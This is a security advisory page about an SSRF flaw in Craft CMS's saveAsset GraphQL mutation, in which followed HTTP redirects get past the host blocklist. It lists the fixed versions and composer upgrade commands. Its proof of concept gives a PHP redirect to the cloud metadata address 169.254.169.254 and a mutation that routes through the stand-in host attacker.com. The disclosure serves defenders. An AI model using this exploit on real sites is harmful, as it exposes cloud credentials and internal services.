VDB
Sign up
MEDIUM6.9

GHSA-8jr8-7hr4-vhfx

Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect

Quick fix

GHSA-8jr8-7hr4-vhfx — craftcms/cms: upgrade to the fixed version with the command below.

composer require craftcms/cms:^5.8.22

Details

## Summary The `saveAsset` GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.

--- ## Proof of Concept 1. Host a redirect script on your server (e.g. `redirect.php`): ```php <?php header("Location: http://169.254.169.254/latest/meta-data/"); ?> ``` 2. Send the following GraphQL mutation: ```graphql mutation { save_images_Asset(_file: { url: "https://attacker.com/redirect.php" filename: "metadata.txt" }) { id } } ``` 3. The application validates `attacker.com` (passes) 4. Guzzle follows the redirect to `169.254.169.254` 5. Cloud metadata is saved as an asset

--- ## Mitigation - Disable redirects.

Are you affected?

Enter the version of the package you're using.

Affected packages

Packagist/craftcms/cms
Introduced in: 5.0.0-RC1Fixed in: 5.8.22
Fixcomposer require craftcms/cms:^5.8.22
Packagist/craftcms/cms
Introduced in: 4.0.0-RC1Fixed in: 4.16.18
Fixcomposer require craftcms/cms:^4.16.18

References